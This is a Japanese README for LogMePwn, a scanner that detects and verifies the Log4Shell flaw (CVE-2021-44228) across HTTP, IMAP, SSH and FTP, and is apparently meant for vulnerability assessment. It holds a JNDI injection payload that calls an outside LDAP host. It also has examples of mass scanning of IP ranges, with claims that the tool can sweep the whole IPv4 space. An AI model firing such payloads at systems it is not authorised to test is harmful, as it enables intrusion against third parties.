
Log4J RCE CVE-2021-44228脆弱性向けの、完全自動化・信頼性・超高速なスキャンおよび検証ツールキット。
LogMePwnは、Log4J RCE CVE-2021-44228脆弱性に対する、完全自動化、マルチプロトコル対応、信頼性が高く、超高速なスキャン・検証ツールキットです。

LogMePwnはCanary Tokensを利用して動作します。これにより、希望のコミュニケーションチャネルにメールやWebhook通知が送信されます。カスタムコールバックサーバーをお持ちの場合は、それも使用できます。
ツールを使用するには、Releasesセクションからご利用のディストリビューションに合わせたバイナリを入手し、使用してください。ツールをビルドする場合は、Go 1.13以上が必要です。リポジトリをクローンしてgo buildを実行するだけです。
以下はツールの基本的な使い方です:
$ ./lmp --help
+---------------------+
| L o g M e P w n |
+---------------------+ v2.0
~ 0xInfection
Usage:
-custom-server string
Specify a custom callback server.
-delay int
Delay between subsequent requests for the same host to avoid overwhelming the host.
-email string
Email to use for the receiving callback notifications.
-fbody string
Specify a format string to use as the body of the HTTP request.
-file string
Specify a file containing list of hosts to scan.
-ftp-ports string
Comma separated list of HTTP ports to scan per target. (default "21")
-headers string
Comma separated list of HTTP headers to use; if empty a default set of headers are used.
-headers-file string
Specify a file containing custom set of headers to use in HTTP requests.
-http-methods string
Comma separated list of HTTP methods to use while scanning. (default "GET")
-http-ports string
Comma separated list of HTTP ports to scan per target. (default "80,443,8080")
-imap-ports string
Comma separated list of IMAP ports to scan per target. (default "143,993")
-json
Use body of type JSON in HTTP requests that can contain a body.
-payload string
Specify a single payload or a file containing list of payloads to use.
-protocol string
Specify a protocol to test for vulnerabilities. (default "all")
-ssh-ports string
Comma separated list of SSH ports to scan per target. (default "22")
-threads int
Number of threads to use while scanning. (default 10)
-token string
Canary token payload to use in requests; if empty, a new token will be generated.
-user-agent string
Custom user-agent string to use; if empty, payloads will be used.
-webhook string
Webhook to use for receiving callback notifications.
-xml
Use body of type XML in HTTP requests that can contain a body.
Examples:
./lmp -email [email protected] 1.2.3.4 1.1.1.1:8080
./lmp -token xxxxxxxxxxxxxxxxxx -methods POST,PUT -fbody '<padding_here>%s<padding_here>' -headers X-Custom-Header
./lmp -webhook https://webhook.testing.site -file internet-ranges.lst -ports 8000,8888
./lmp -email [email protected] -methods GET,POST,PUT,PATCH,DELETE 1.2.3.4:8880
./lmp -protocol imap -custom-server alerts.testing.local 1.2.3.4:143
新機能: この機能はv2.0で導入されました。
最新バージョンでは、複数のプロトコルのサポートが追加されました。現在、以下の4つのプロトコルがあります:
-protocol引数でプロトコルを指定しない場合、ツールはサポートされているすべてのプロトコルに対して、デフォルトのポート群でプラグインを実行します。
例:
./lmp -protocol ftp -custom-server alerts.testing.local 1.2.3.4:21
./lmp -protocol ssh -custom-server alerts.testing.local 1.2.3.4:22
./lmp -token xxxxxxxxxxxxxxxx 1.2.3.4 # デフォルトポートで全プロトコルをスキャン
ターゲットは、コマンドラインインターフェースの引数として、またはファイルを介して指定できます。
新機能: CIDRレンジのスキャンも可能になりました!この機能はv1.1で導入されました。
例:
./lmp <other args here> 1.1.1.1:8080 1.2.3.4:80 1.1.2.2:443
./lmp <other args here> -file internet-ranges.lst
./lmp <other args here> 192.168.0.0/26 1.2.3.4/30
各プロトコルにはデフォルトでサポートされるポートのリストがあり、以下のフラグで調整できます:
-http-ports(HTTP用)-imap-ports(IMAP用)-ssh-ports(SSH用)-ftp-ports(FTP用)ユーザーがhost:portの形式でホスト+ポートのペアを指定した場合、デフォルトのポートリストは破棄され、その特定のポートに対してすべてのチェックが行われます。-protocolが指定されていない場合、同じポートに対してすべてのプロトコルのプラグインがテストされます。
この機能はv1.1で導入されました。
-payload引数でペイロードを直接指定できます。ただし、ペイロード内でテスト対象ホストのDNS名を使用したい場合は、フォーマットディレクティブ$DNSNAME$を指定できます。これは、ペイロードがテストされるターゲットに置き換えられます。
例: 次のようなコマンドを指定した場合:
./lmp -payload '${jndi:ldap://$DNSNAME$.xxx.burpcollaborator.net/a}' vulnerable.site.com
HTTPリクエスト送信時、ペイロードは次のようになります:
${jndi:ldap://vulnerable-site-com.xxx.burpcollaborator.net/a}
この機能は、ブラックボックスファジング時にどのホストが脆弱かを評価するのに役立ちます。
また、同じ引数を使用して、複数のバリエーションを含むペイロードを指定することもできます(payloads-sample.txtを参照)。例:
./lmp -payload payloads-sample.txt vulnerable.site.com
注: この機能はCanary Tokensでは動作しません。CanarytokensはカスタムDNSフォーマットをサポートしていません。
注:
-payloadでカスタムペイロードを指定している場合、通知チャンネルの指定は__必要ありません__。ペイロード自体にコールバックサーバーを含める必要があります。
通知チャンネルは以下のいずれかです:
-email)-webhook)-custom-server)ツールはCanary Tokensを利用します。こちらからトークンを作成するか、ツールにトークンを生成させることができます。ツールがトークンを生成した場合、それはcanarytoken-logmepwn.jsonというファイルに書き出され、トークン本体と認証情報(トリガーをWebインターフェースで表示するために必要な両方)が含まれます。
すでにトークンをお持ちの場合は、-token引数を使用してトークンを直接使用し、新しいものを作成しないようにできます。
注: メールまたはWebhookのいずれかを指定すると、ツールはカスタムCanary Tokenを作成します。カスタムコールバックサーバーを使用する場合、トークンは使用されません。
ツールはリクエスト送信時に優れた柔軟性を提供します。デフォルトではGETリクエストを使用します。デフォルトのヘッダーセットが使用され、それぞれの値にペイロードが含まれます。-headers引数でカスタムヘッダーセットを指定できます。-headers-fileスイッチを使用して、ヘッダーのリストを含むファイルを指定することもできます。例:
./lmp <other args> -headers 'X-Api-Version' 1.2.3.4:8080
./lmp <other args> -headers-file headers.txt 1.2.3.4:8080
スキャンに使用するHTTPメソッドのリストは、-methodsスイッチで指定できます。POST、PUTなどのボディを含むリクエストでは、ボディの内容をカスタマイズできます。
デフォルトではツールはペイロードを直接ボディに送信します。ツールは以下の方法でボディのカスタマイズを提供します:
-jsonを指定すると、リクエストボディがJSONタイプになります。-xmlはXML形式用。-fbodyは、ペイロードが挿入されるカスタムフォーマット文字列を指定します。これにより、テスト時に複雑なリクエストを作成できます。たとえば、コンテンツをHTMLとして送信する場合、次のようになります:
./lmp -fbody '<html>%s</html>' -methods 'POST,PUT' 1.2.3.4
カスタムユーザーエージェントヘッダー値は-user-agentスイッチで指定できます。
ツールは広範囲のターゲットをスキャンするために最適化されています。十分なネットワーク帯域幅とハードウェアがあれば、IPv4スペース全体を1日以内にスキャンできます。スキャン時に使用するデフォルトの同時スレッド数は10に設定されています(ローカルハードウェアでの信頼性に最適化)。この値は数千まで上げることができます(ベンチマークはご自身でお試しください)。:)
スレッド数を指定するには-threadsスイッチを使用します。
多数のHTTPリクエストが発生するため、リモートホストがリクエストを処理するのは負担になる可能性があります。-delayパラメーターはそのような場合に役立ちます。遅延値を秒単位で指定できます。サーバー上の同じポートに対する連続する2つのリクエストの間で使用されます。
スキャナーのデモとして、@christophetdの脆弱なセットアップをdockerで使用します:
docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

次に、セットアップに対してツールを実行します:
./lmp -email [email protected] -protocol http 127.0.0.1:8080

すぐにトークン履歴ページとメールで確認できるいくつかのDNSルックアップがトリガーされました:

v2.0の更新:
v1.1の更新:
Twitterで連絡するか、IssueやPRを作成してください。
このツールはGNU GPLv3の下でライセンスされています。LogMePwnは現在v2.0です。
Thinkst Canary チームの素晴らしいCanary Tokensプロジェクトに感謝します。
♡を込めて Pinaki (@0xInfection) によって制作されました。